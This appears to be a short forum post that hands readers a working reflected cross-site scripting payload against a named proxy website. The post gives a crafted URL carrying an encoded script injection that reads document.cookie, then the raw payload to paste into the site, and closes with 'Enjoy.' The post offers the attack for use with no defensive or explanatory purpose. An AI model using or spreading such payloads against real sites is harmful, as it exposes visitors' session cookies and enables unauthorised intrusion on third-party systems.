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http://proxy.nu/index.php?e=invalid_url&return=http%3A%2F%2Fproxy.nu%2Fbrowse.php%3Fu%3Dhttp%253A%252F%252F%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C%252Fscript%253E%26b%3D0%26f%3Dnorefer&p=YToxOntpOjA7czo0ODoiaHR0cDovLyI+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+Ijt9If it doesn't work (probably not) you just have to navigate to http://www.proxy.nu and paste the following code:
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"><script>alert(document.cookie)</script>Enjoy.

